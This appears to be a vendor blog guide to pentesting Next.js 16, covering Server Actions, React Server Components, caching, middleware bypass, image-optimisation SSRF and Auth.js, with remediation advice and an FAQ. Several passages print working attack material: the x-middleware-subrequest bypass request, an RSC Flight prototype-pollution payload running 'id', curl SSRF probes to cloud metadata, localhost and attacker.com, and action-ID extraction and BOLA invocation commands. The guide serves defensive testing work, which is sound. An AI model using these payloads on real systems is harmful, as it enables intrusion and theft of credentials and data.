Skip to content
BreachVex
guides··22 min read

Pentesting Next.js 16 — RSC, Server Actions, Caching

  • CVE-2025-55182 (CVSS 10.0, December 2025): unauthenticated RCE via RSC Flight protocol deserialization — upgrade to Next.js 16.0.7 immediately.
  • CVE-2025-29927 (CVSS 9.1, March 2025): middleware bypass via x-middleware-subrequest header — strip this header at your reverse proxy.
  • CVE-2026-44576 / CVE-2026-44582 (2026, CVSS 5.4 Medium): RSC cache poisoning in shared CDN deployments — upgrade to 16.2.5.
  • Server Actions are public HTTP endpoints — action IDs visible in the JS bundle do not protect against BOLA, mass assignment, or missing authorization checks.
  • The cacheComponents model in Next.js 16 is opt-in and safer than implicit caching, but cross-user data leakage is possible without explicit cache scoping.
  • proxy.ts (formerly middleware.ts) runs on Node.js in Next.js 16 — never use it as the sole authorization layer.

What Changed in Next.js 16

Released on October 21, 2025, Next.js 16 is the most structurally significant release since the App Router shipped in Next.js 13. The changes relevant to security engineers are not cosmetic.

Cache Components and use cache. The implicit caching behavior that confused developers for two years is gone. In Next.js 16, all dynamic code executes at request time by default. Caching is now opt-in through the use cache directive and the cacheLife/cacheTag APIs. This is a security improvement by design: implicit caching of authenticated responses was a recurring misconfiguration vector. The downside is that the new model introduces its own surface — see Caching Pitfalls below.

proxy.ts replaces middleware.ts. Middleware now runs on Node.js rather than the Edge runtime. The rename is intentional — it signals that this layer handles network-level routing, not business logic. The Edge runtime's limited API surface previously forced some developers into insecure patterns. Node.js gives the proxy layer access to the full crypto and HTTP stack.

Async params and cookies. params, searchParams, cookies(), and headers() are now exclusively async in Next.js 16. This removes an entire class of race conditions where synchronous access returned stale values mid-render, and makes the data flow more explicit to security reviewers.

Breaking change — next/image local src enumeration prevention. Next.js 16 now requires images.localPatterns to be explicitly configured before local image optimization is permitted. Optimization requests outside localPatterns are now blocked with 400, preventing unintended quality enumeration.

images.dangerouslyAllowLocalIP. Local IP optimization is now blocked by default. Setting this to true re-enables routing optimization requests to 127.0.0.1, 10.0.0.0/8, and similar — a footgun for internal SSRF if enabled carelessly in production.

Turbopack stable. Security relevance: Turbopack is now the default bundler. It handles module isolation and source map generation differently from webpack. Teams that relied on obscuring webpack chunk structure to hide action IDs need to re-audit their assumptions under Turbopack.

FeatureNext.js 14/15Next.js 16
Caching modelImplicit, opt-outExplicit opt-in (use cache)
Middleware runtimeEdge (limited APIs)Node.js (proxy.ts)
params accessSync or asyncAsync only
Image local srcUnrestrictedRequires images.localPatterns
Local IP optimizationAllowedBlocked by default
Default bundlerwebpackTurbopack
RSC action IDsHash of source locationEncrypted non-deterministic (since 15)

The RSC Security Model — Server vs Client Boundaries

React Server Components run exclusively on the server. Client Components run on both the server (prerender) and the browser. The security boundary is enforced at the module system level: RSC imports are resolved in a server-only webpack layer that is never shipped to the client.

The mental model that matters for security testing:

  • Server Components can access environment variables, databases, and internal APIs. They must never be imported by Client Components.
  • Client Components ('use client') execute in browser context after hydration. Anything they receive as props was already serialized and sent over the wire.
  • The trust boundary is not the file system. A Server Component can accidentally expose sensitive data to a Client Component by passing it as props. The type system does not prevent this.
// VULNERABLE: Full database record passed to Client Component
// apps/dashboard/page.tsx (Server Component)
export default async function Page() {
  const user = await db.user.findUnique({ where: { id: session.userId } });
  // user.passwordHash, user.mfaSecret, user.apiKeyHash are all in this object
  return <ProfileCard user={user} />;  // sent to client serialized
}
 
// SAFE: Data Transfer Object pattern
export default async function Page() {
  const user = await db.user.findUnique({ where: { id: session.userId } });
  return <ProfileCard name={user.name} avatarUrl={user.avatarUrl} />;
}

The server-only package enforces the boundary at build time. Any module marked with import 'server-only' will cause a build error if imported from a Client Component. This is the correct defense for database access layers and internal API clients.

React Taint APIs (experimental_taintObjectReference, experimental_taintUniqueValue) add a runtime layer on top. A tainted object or value will throw if passed to the client context — catching cases where the module boundary is correct but the data flow is wrong. Enable in next.config.js with experimental.taint: true.

Hydration mismatches as security signals. When a Server Component renders differently from what the client receives during hydration, Next.js logs a hydration error. Pentesters should monitor the browser console for these errors — they can indicate that the server is computing sensitive values that differ from the publicly visible render, which sometimes signals business logic the server is hiding from the client but not adequately protecting.

graph TD
    Client["Browser / Client Component"]
    Middleware["proxy.ts (Node.js)"]
    ServerComp["Server Component (RSC)"]
    DAL["Data Access Layer\n(server-only)"]
    DB[(Database)]
    Env["process.env\n(secrets)"]
 
    Client -->|"HTTP Request"| Middleware
    Middleware -->|"Route to App Router"| ServerComp
    ServerComp -->|"import (build-time enforced)"| DAL
    DAL -->|"SQL / ORM query"| DB
    DAL -->|"reads secrets"| Env
    ServerComp -->|"props serialized"| Client
 
    style Env fill:#ff6b6b,color:#fff
    style DAL fill:#ffd93d,color:#333
    style Middleware fill:#6bcb77,color:#333

Server Actions Attack Surface

Server Actions are exported async functions marked with 'use server'. The framework generates encrypted action IDs at build time and maps POST requests against them. Every exported function is a public HTTP endpoint — regardless of whether the UI renders the form that calls it.

The fundamental misunderstanding. Many developers treat Server Actions as internal functions that only run when the corresponding form is submitted. This is wrong. Any POST request to the app with the correct Next-Action header and a valid action ID will execute the function. The action ID is embedded in the client-side JavaScript bundle — visible to any authenticated user who loads the page.

BOLA via Missing Authorization

// VULNERABLE: BOLA — no resource ownership check
'use server'
export async function deleteInvoice(invoiceId: string) {
  const session = await getSession();
  if (!session) throw new Error('Unauthenticated');
  // Bug: any authenticated user can delete any invoice
  await db.invoice.delete({ where: { id: invoiceId } });
}
 
// SAFE: Authorization check on the resource
'use server'
export async function deleteInvoice(invoiceId: string) {
  const session = await getSession();
  if (!session) throw new Error('Unauthenticated');
 
  const invoice = await db.invoice.findUnique({ where: { id: invoiceId } });
  if (!invoice || invoice.ownerId !== session.userId) {
    throw new Error('Forbidden');
  }
  await db.invoice.delete({ where: { id: invoiceId } });
}

Mass Assignment via Unvalidated FormData

TypeScript types do not protect Server Actions at runtime. A FormData object passed from the client can contain any key. If the action spreads or passes data directly to an ORM without an allowlist, attackers can inject arbitrary fields.

// VULNERABLE: mass assignment via FormData spread
'use server'
export async function updateProfile(formData: FormData) {
  const session = await getSession();
  const data = Object.fromEntries(formData); // attacker controls all keys
  await db.user.update({
    where: { id: session.userId },
    data,  // can include: { role: 'admin', subscription: 'enterprise' }
  });
}
 
// SAFE: explicit allowlist with Zod validation
'use server'
import { z } from 'zod';
 
const ProfileSchema = z.object({
  name: z.string().max(100),
  bio: z.string().max(500),
});
 
export async function updateProfile(formData: FormData) {
  const session = await getSession();
  const parsed = ProfileSchema.safeParse(Object.fromEntries(formData));
  if (!parsed.success) throw new Error('Invalid input');
 
  await db.user.update({
    where: { id: session.userId },
    data: parsed.data,  // only name and bio, nothing else
  });
}

CSRF on Server Actions

Next.js Server Actions compare the Origin header to the Host header and abort mismatches. This protection applies only to actions generated by the framework's compiler. Custom Route Handlers (route.ts) have no automatic CSRF protection. The Origin check also fails silently if serverActions.allowedOrigins is misconfigured — including an attacker-controlled domain in that list negates the entire protection.

See the /learn/csrf deep dive for the full CSRF test matrix.

Closure Variable Leakage

Server Actions defined inside components capture outer scope variables in closures. Next.js encrypts these closed-over values before serializing them to the client. However:

  1. Encryption uses NEXT_SERVER_ACTIONS_ENCRYPTION_KEY. In multi-instance deployments without this variable set, each server generates a different key — causing action invocations to fail across instances and pushing teams to disable encryption.
  2. If the same key is used forever (never rotated), captured data from old renders remains decryptable.

CVE-2025-29927 — Middleware Authorization Bypass (Case Study)

Disclosed: March 21, 2025. CVSS: 9.1 Critical. Affected: Next.js 11.1.4–12.3.4, 13.0.0–13.5.8, 14.0.0–14.2.24, 15.0.0–15.2.2. Fixed: 12.3.5, 13.5.9, 14.2.25, 15.2.3.

Root cause. Next.js uses an internal header x-middleware-subrequest to track whether a request originated from middleware itself — preventing infinite loops when middleware makes subrequests. The header was designed to be set only by the framework. No code validated that this header came from the application rather than the external client.

Exploitation. An attacker adds the header to any outbound HTTP request:

GET /admin/users HTTP/1.1
Host: target.example.com
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

The middleware execution is skipped entirely. The request reaches the route handler without any authentication check. For applications in src/ directories:

x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Impact. Every middleware-protected route is publicly accessible. Authentication redirects, IP allowlists, RBAC checks, security headers added in middleware, and CSP enforcement are all bypassed with a single header.

Why middleware-only auth is always wrong. CVE-2025-29927 is not an anomaly — it is the predictable consequence of treating a single execution layer as the sole security boundary. The correct architecture re-verifies the session inside every Server Action, Server Component, and Route Handler. The Next.js documentation now explicitly states this. The middleware (proxy.ts in Next.js 16) is a UX gate, not a security gate.

Remediation checklist:

  1. Upgrade to the patched version for your major line.
  2. Strip x-middleware-subrequest at your edge proxy (nginx, Traefik, Cloudflare WAF) — Cloudflare published a managed rule for this in March 2025.
  3. Audit every protected route: does the handler verify the session independently of middleware?

Detection with BreachVex. The BreachVex pipeline sends the bypass header to every route discovered during endpoint mapping. A 200 response on a route that returned 302/401 without the header is flagged as a confirmed middleware bypass with a proof-of-request capture.

CVE-2025-55182 — RSC Flight Protocol RCE (Case Study)

Disclosed: December 3, 2025. CVSS: 10.0 Critical. Affected: React 19.0.0, 19.1.0, 19.1.1, 19.2.0. Patched: 19.0.1, 19.1.2, 19.2.1. Next.js 15.0.0–16.0.6 affected; patched in 16.0.7+/15.5.x branch. Exploited in the wild: confirmed by Wiz Research, Amazon Threat Intelligence, and Datadog.

Root cause. The React Server Components Flight protocol is the binary serialization format that carries RSC payloads between server and client. When a client-originated payload (from a Server Action call or RSC re-render request) arrives at the server, Next.js passes it to React's Flight decoder. The decoder's deserialization logic did not validate the structure of incoming keys — allowing an attacker to inject crafted keys that pollute the JavaScript prototype chain (__proto__, constructor) and influence server-side execution paths.

What this means for testing. Any App Router endpoint is an attack surface. A standard Next.js app created with create-next-app in production mode is exploitable without configuration changes. The exploit is:

# Conceptual payload — do not use against systems you do not own
import httpx
 
payload = b'0:{"$$typeof":"$RE","__proto__":{"shell":"id"}}'
r = httpx.post(
    "https://target.example.com/api/sensitive-action",
    content=payload,
    headers={
        "Content-Type": "text/x-component",
        "Next-Action": "<action-id-from-js-bundle>",
    }
)

Related vulnerabilities disclosed December 11, 2025:

  • CVE-2025-55183 (CVSS 5.3, Source Code Exposure): crafted payloads cause Server Functions to return their compiled source code, including hardcoded business logic and any secrets embedded directly in the function body.
  • CVE-2025-55184 (CVSS 7.5, DoS): self-referential Promise payloads create infinite recursion in the Node.js microtask queue, hanging the server process.

Patching note. The initial React fix for CVE-2025-55184 was incomplete — a follow-up patch was issued as CVE-2025-67779 in late December 2025. Complete fix in React 19.0.4 / 19.1.5 / 19.2.4 (CVE-2025-67779 backport). Versions 19.0.2 / 19.1.3 / 19.2.2 partially fixed but still vulnerable to DoS variant.

Caching Pitfalls — use cache, ISR, and Revalidation Abuse

Cross-User Data Leakage with use cache

The use cache directive marks a component or function as cacheable. The compiler generates a cache key from the function arguments. If a cached function returns user-specific data but is called with no user-identifying argument, all users share the same cache entry.

// VULNERABLE: user data cached globally
'use cache'
export async function getUserDashboard() {
  const session = await getSession();  // session is NOT part of the cache key
  return db.user.findUnique({ where: { id: session.userId } });
}
 
// SAFE: user ID included in arguments (becomes part of cache key)
'use cache'
export async function getUserDashboard(userId: string) {
  return db.dashboard.findUnique({ where: { userId } });
}
// Call site: getUserDashboard(session.userId)

CVE-2026-44576 and CVE-2026-44582 — RSC Cache Poisoning (2026)

These two vulnerabilities were patched in Next.js 16.2.5 and 15.5.16 (released May 2026). CVE-2026-44576 affects all versions from 14.2.0+; CVE-2026-44582 affects from 13.4.6+ — older trains also need patching.

CVE-2026-44576: RSC responses are vulnerable to cache poisoning when shared CDNs do not correctly partition response variants. An attacker crafts a request that causes an RSC component payload to be cached at the URL path for the full-page HTML response — subsequent visitors receive component JSON instead of HTML.

CVE-2026-44582: Collisions in the _rsc cache-busting parameter allow attackers to poison CDN cache entries so users receive the wrong response variant for a given URL.

Mitigation if you cannot patch immediately: Configure your CDN to key on the RSC request header and honor the Vary response header. Disable shared caching for App Router responses.

ISR Revalidation and Stale Auth Content

ISR (Incremental Static Regeneration) with revalidate generates publicly cacheable HTML. If a developer wraps an authenticated page in revalidate without understanding that the cached page captures the server-rendered output of the authentication check at build time, the page may return stale auth state.

More critically: if an ISR page renders content that was accessible at build time but later restricted, the cached version remains publicly accessible until the next revalidation — which may never happen if no deploy or revalidatePath call is triggered.

Test for this: compare the response to a revalidation-gated route with If-None-Match and without. If the ETag matches for requests with and without valid session cookies, the page is serving a globally cached response that ignores session state.

Middleware Bypass Patterns

CVE-2025-29927 is the most severe middleware bypass, but several additional patterns survive into patched versions:

Trailing slash and case normalization. Middleware matchers use route patterns that may not account for trailing slashes or mixed case. If the matcher is /admin/:path* and the request arrives as /Admin/users (capital A), some configurations skip the match. Test all protected routes with trailing slashes, double slashes, and URL encoding.

/_next/ prefix bypass. The internal /_next/static and /_next/image paths bypass most middleware matchers by convention. If your middleware sets security headers or performs auth checks, verify that requests to these paths still receive the expected headers downstream.

Edge function cold-start timing. In Vercel Edge deployments, middleware occasionally executes in parallel with route handlers during cold starts. Race conditions where the middleware session check fires after the handler begins processing are rare but have been reported in bug bounty programs.

X-Forwarded-Host spoofing. Server Actions compare Origin to Host (or X-Forwarded-Host). If your reverse proxy trusts client-supplied X-Forwarded-Host headers without validation, an attacker can set X-Forwarded-Host: attacker.com and the CSRF check compares Origin: attacker.com to X-Forwarded-Host: attacker.com — always a match.

API Routes vs Server Actions — Security Comparison

PropertyRoute Handlers (route.ts)Server Actions ('use server')
HTTP methodGET, POST, PUT, DELETE, etc.POST only
CSRF protectionNone (manual required)Built-in Origin/Host check
Action IDURL pathEncrypted hash in JS bundle
Dead code eliminationNoYes (unused actions removed)
Input typeRaw Request objectFormData / typed arguments
Auth enforcementManual (no framework help)Manual (no framework help)
Invokable externallyYes (by URL)Yes (with action ID + Next-Action header)
Closure captureNoYes (encrypted, with key rotation caveats)

The key finding for security engineers: neither Route Handlers nor Server Actions provide automatic authorization. The framework's CSRF protection for Server Actions is valuable but not sufficient — and it does not exist at all for Route Handlers.

Treat every Route Handler as equivalent to a public REST endpoint. Treat every Server Action as a public POST endpoint whose URL is non-obvious but discoverable.

Auth.js v5 and NextAuth Footguns

Auth.js v5 (the successor to NextAuth) introduced significant API changes from v4. The migration surface is a known source of security regressions.

JWT sessions cannot be invalidated early. Unlike database sessions, JWT sessions stored in HttpOnly cookies expire only when the token's exp claim passes. If a user's privileges are revoked, the JWT remains valid until expiration. For applications with role-based access, this means a fired admin retains access for the full session duration — typically 30 days.

Middleware-only auth is the documented footgun. The Auth.js v5 migration guide shows a pattern where auth() is called in middleware.ts to protect routes. Post-CVE-2025-29927, this pattern is explicitly insufficient. Every protected route must call auth() inside the handler, not just in middleware.

The session.user object is not type-safe without augmentation. TypeScript module augmentation for session.user is required to access custom fields. Teams that skip this pattern cast to any, losing type safety on the object that carries authorization data.

NEXTAUTH_URL misconfiguration. In deployments with multiple domains or reverse proxies, NEXTAUTH_URL must match the canonical domain. A mismatch causes redirect-based auth flows to target the wrong origin — a potential open redirect if the variable is set to a value the proxy rewrites. Verify this in both staging and production environments.

JWT algorithm confusion. Auth.js uses HS256 (HMAC-SHA256) for JWTs by default. If secret is not set in production, Auth.js falls back to a derived value that may be predictable. Set AUTH_SECRET explicitly to a 32-byte random value and rotate it on a schedule.

See the /learn/jwt-overview page for the full JWT algorithm confusion attack chain.

Image Optimization SSRF

The /_next/image endpoint accepts a url query parameter, fetches the target, optimizes the image, and returns it to the client. This is a server-side fetch controlled by user input — a canonical SSRF setup.

Default protection. images.remotePatterns restricts which hostnames the optimization endpoint will fetch. A strict configuration blocks internal network access:

// next.config.ts
const nextConfig = {
  images: {
    remotePatterns: [
      {
        protocol: 'https',
        hostname: 'cdn.example.com',
        pathname: '/assets/**',
      },
    ],
  },
};

Misconfiguration patterns that re-open SSRF:

// VULNERABLE: wildcard hostname
remotePatterns: [{ hostname: '**' }]
 
// VULNERABLE: overly broad wildcard
remotePatterns: [{ hostname: '*.example.com' }]
// Allows: internal.example.com, 169.254.169.254.example.com (check your DNS)

CVE-2024-34351 (Server Action Host Header SSRF). In Next.js before 14.1.1, Server Actions that performed redirect('/') used the client-supplied Host header to build the redirect URL. An attacker who controlled the Host header could redirect the server-side fetch to an arbitrary internal address — including cloud metadata endpoints. Fixed in 14.1.1.

Testing procedure:

# Test 1: basic internal fetch
curl "https://target.com/_next/image?url=http://169.254.169.254/latest/meta-data/&w=256&q=75"
 
# Test 2: localhost service discovery
curl "https://target.com/_next/image?url=http://localhost:6379/&w=256&q=75"
 
# Test 3: HTTPS downgrade + redirect chain
curl "https://target.com/_next/image?url=https://attacker.com/redirect-to-internal&w=256&q=75"

A response with status 200 and Content-Type: image/* confirms a successful fetch. An error message leaking an internal hostname or IP in the response body is a blind SSRF confirmation.

See the /learn/ssrf-overview page for the full SSRF exploitation methodology.

Pentesting Methodology for Next.js 16

Phase 1 — Fingerprinting

# Detect Next.js version from response headers
curl -I https://target.com | grep -i x-powered-by
 
# App Router fingerprint: RSC header present
curl -H "RSC: 1" https://target.com | head -c 200
 
# Check for _next/static manifest
curl https://target.com/_next/static/chunks/main.js | grep -o '"version":"[0-9.]*"'
 
# Detect proxy.ts vs middleware.ts
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     https://target.com/admin

Phase 2 — CVE Version Check

Map the detected version against the known CVE table:

CVESeverityPatched in
CVE-2025-29927CVSS 9.112.3.5, 13.5.9, 14.2.25, 15.2.3
CVE-2025-55182CVSS 10.016.0.7, React 19.0.1
CVE-2025-55183CVSS 5.3React 19.0.3
CVE-2025-55184CVSS 7.5React 19.0.4 / 19.1.5 / 19.2.4, CVE-2025-67779
CVE-2026-44576CVSS 5.4 Medium15.5.16, 16.2.5
CVE-2026-44582CVSS 5.4 Medium15.5.16, 16.2.5
CVE-2024-46982CVSS 7.513.5.7, 14.2.10
CVE-2024-34351High14.1.1

Phase 3 — Server Action Enumeration

# Extract action IDs from webpack chunks
curl -s https://target.com/_next/static/chunks/app/layout.js \
  | grep -oP '"[a-f0-9]{40}"' | sort -u
 
# Invoke a discovered action
curl -X POST https://target.com/ \
  -H "Next-Action: <extracted-action-id>" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d ""
 
# Test for BOLA: send another user's resource ID
curl -X POST https://target.com/ \
  -H "Next-Action: <action-id>" \
  -H "Cookie: session=<your-session>" \
  -d "invoiceId=<other-users-invoice-id>"

Phase 4 — Caching Audit

# Check for user-specific content in cached responses
# Step 1: Fetch as user A, record ETag
ETAG_A=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-a>" | grep ETag)
 
# Step 2: Fetch as user B, compare ETag
ETAG_B=$(curl -sI https://target.com/dashboard -H "Cookie: session=<user-b>" | grep ETag)
 
# If ETags match, both users are receiving the same cached response
echo "User A ETag: $ETAG_A"
echo "User B ETag: $ETAG_B"

Phase 5 — next.config Audit

Review or request next.config.ts for:

  • images.remotePatterns — wildcard patterns
  • serverActions.allowedOrigins — attacker-controlled domains
  • headers() — missing Content-Security-Policy, X-Frame-Options, Referrer-Policy
  • rewrites() — paths that proxy to internal services
  • redirects() — destination values that include user-controlled segments (open redirect)
  • experimental.taint: false — missing taint protection on sensitive objects

Phase 6 — Auth.js Configuration Review

  • Is AUTH_SECRET set to a random 32-byte value?
  • Are JWT sessions used? If yes, what is the expiry? Can roles be revoked before expiry?
  • Does middleware call auth() as the sole authorization check?
  • Is NEXTAUTH_URL set to the canonical production domain?

How BreachVex Tests Next.js Applications

The BreachVex pipeline includes a dedicated Next.js detection module that runs during the endpoint-mapping stage. On target fingerprint as a Next.js application, the following automated tests run:

Middleware bypass probe. The authentication-testing stage sends the x-middleware-subrequest bypass header to every route discovered in the site map. A route that responds 200 to the header but 302/401 without it is flagged as a confirmed middleware bypass. The HTTP request and response are captured as proof.

Action ID extraction. The JavaScript-analysis module extracts webpack chunk manifests and identifies strings matching the Next.js action ID format (Next-Action headers in captured traffic, 40-character hex strings in JS bundles). Extracted IDs are passed to the API-testing stage for authorization testing.

RSC Flight fuzzing. On targets running Next.js 16.0.0–16.0.6, the pipeline sends a crafted Flight protocol payload to detected server action endpoints. A stack trace or unexpected 500 response is captured as a potential deserialization issue, with manual confirmation required.

Image endpoint SSRF. The SSRF-testing stage probes /_next/image with internal URLs derived from the target's cloud provider (IMDS endpoints, detected Kubernetes service IPs from DNS enumeration). Responses are analyzed for content-type and size matching known metadata responses.

Cache poisoning. The pipeline sends RSC requests with colliding _rsc values and compares response bodies for cross-user contamination, using two separate test accounts where credentials are provided.

For confirmed Server Action BOLA vulnerabilities, the proof engine captures the full HTTP exchange — the action ID source location in the JS bundle, the unauthorized request, and the successful server response — and includes it in the SARIF report with a severity of High (CVSS 8.1 for unauthenticated IDOR, or Critical if privilege escalation is possible).

See /learn/idor and /learn/mass-assignment for the underlying vulnerability classes this methodology covers.

Conclusion

Next.js 16 is a materially more secure framework than its predecessors on three specific dimensions: opt-in caching reduces implicit cache poisoning, proxy.ts clarifies the network boundary and moves it to Node.js, and async-only APIs eliminate a class of race conditions. The Next.js team's response to CVE-2025-29927 and CVE-2025-55182 was fast and coordinated.

The attack surface did not shrink. RSC deserialization is now a proven RCE vector with confirmed in-the-wild exploitation. Server Actions are publicly accessible HTTP endpoints whose IDs are extractable from the JS bundle. The use cache model introduces new cross-user data leakage patterns. Cache poisoning via RSC header collisions was patched in 2026, months after 16.0 shipped.

For AppSec engineers testing Next.js applications: start with the version check, test CVE-2025-29927 first (it is the highest-value low-effort check), enumerate Server Action IDs from the bundle, audit the caching configuration, and verify that authorization checks exist inside every action and route handler — not just in middleware.

For developers shipping Next.js 16 to production: upgrade immediately to 16.2.5, set AUTH_SECRET and NEXT_SERVER_ACTIONS_ENCRYPTION_KEY, configure images.remotePatterns strictly, and implement a Data Access Layer with import 'server-only' to enforce the server boundary at build time.

The framework gives you the tools. The security model still requires you to use them.


References:

Frequently Asked Questions

What is CVE-2025-29927 and how does it affect Next.js?
CVE-2025-29927 (CVSS 9.1) is a middleware authorization bypass disclosed in March 2025. By including the internal header x-middleware-subrequest in a request, attackers can skip middleware execution entirely — bypassing authentication checks on every protected route. It affects Next.js 11.x through 15.2.2. The fix is in versions 12.3.5, 13.5.9, 14.2.25, and 15.2.3. Mitigation: strip the header at your reverse proxy before Next.js sees it.
What is CVE-2025-55182 and why is it rated CVSS 10.0?
CVE-2025-55182 is an unauthenticated remote code execution vulnerability in the React Server Components Flight protocol, disclosed December 3, 2025. Insecure deserialization of crafted HTTP payloads allows prototype pollution leading to arbitrary code execution — no credentials required, default configurations are vulnerable. It is rated CVSS 10.0 because it is remotely exploitable, requires zero authentication, and was observed being exploited in the wild. Upgrade to Next.js 16.0.7 or React 19.0.1.
Are Server Actions in Next.js protected against CSRF?
Yes, with important caveats. Next.js Server Actions compare the Origin header to the Host header and reject mismatches, which blocks most same-site CSRF. They also only accept POST, preventing GET-triggered side effects. However, this protection does not apply to custom Route Handlers, and it can be misconfigured when using reverse proxies without setting serverActions.allowedOrigins. Do not assume every POST endpoint in a Next.js app has CSRF protection — only Server Actions generated by the framework's compiler do.
Can attackers enumerate Server Action IDs?
Action IDs are non-deterministic encrypted hashes generated at build time, making blind enumeration impractical. However, IDs are embedded in client-side JavaScript bundles — any user who loads the page can extract them from webpack chunks. Enabling productionBrowserSourceMaps further exposes the mapping between hash and function name. The security model assumes that access to the action ID is acceptable, but authorization inside every action is mandatory.
What does cacheComponents in Next.js 16 mean for security?
cacheComponents (enabled via next.config.ts) enables the use cache directive for component and function-level caching. If a cached function returns user-specific data without proper cache partitioning, that data can be served to other users. CVE-2026-44576 and CVE-2026-44582 (2026) demonstrate RSC response cache poisoning via _rsc header collisions in shared CDN deployments. Always use cache: 'private' scoping for personalized content and keep CDN Vary headers consistent with RSC request headers.
How does the proxy.ts change in Next.js 16 affect security?
Next.js 16 renames middleware.ts to proxy.ts and moves execution to the Node.js runtime (rather than the Edge runtime). This is a positive security change: the Edge runtime had limited access to Node.js security APIs and stricter memory/timeout constraints that pushed developers toward less defensive patterns. However, existing middleware.ts files are still supported (deprecated) — teams that rely on middleware-only authorization without re-verification in Server Actions or Route Handlers remain vulnerable to CVE-2025-29927-style logic.
Is the Next.js image optimization endpoint a known SSRF vector?
Yes. The /_next/image endpoint fetches remote URLs to optimize images. If images.remotePatterns is configured too broadly (e.g., hostname: '**'), attackers can request internal URLs through this proxy: /_next/image?url=http://169.254.169.254/latest/meta-data/&w=256&q=75. This is a blind SSRF — if the upstream returns a valid image, the response is relayed to the attacker. CVE-2024-34351 also demonstrated SSRF via Server Action Host header injection. Always validate images.remotePatterns strictly and never allow bare wildcards.
What does pentesting Next.js 16 look like in practice?
Start by fingerprinting the router (App Router vs Pages Router — check for _next/static and RSC request headers). Test CVE-2025-29927 by sending x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware to protected routes. Extract Server Action IDs from webpack chunks and fuzz them with missing auth headers. Attempt RSC Flight protocol fuzzing if the app is on an unpatched version. Probe the _next/image endpoint for SSRF. Review next.config.js for open rewrites, permissive remotePatterns, and missing security headers. Check whether cacheComponents is enabled and test for cross-user cache leakage.
How quickly does Vercel/the Next.js team respond to security disclosures?
The Next.js team has a strong public track record. CVE-2025-29927 was patched and disclosed within the standard 90-day window with a coordinated release across all supported major versions. CVE-2025-55182 had a fix published to npm on the same day as the public disclosure (December 3, 2025). CVE-2024-46982 and CVE-2024-34351 were both remediated in single-version patches. The team maintains security@nextjs.org for private disclosure and publishes advisories at nextjs.org/blog.
Should I use middleware for authentication in Next.js?
Middleware (proxy.ts) should be used as a first-line UX gate — redirecting unauthenticated users to a login page — but never as the sole authorization check. Because middleware runs before the request reaches your Server Components or Route Handlers, any bypass (such as CVE-2025-29927) renders middleware-only auth useless. Always re-verify the session inside every Server Action, Route Handler, and Server Component that accesses sensitive data. The Next.js security model explicitly labels this defense-in-depth requirement.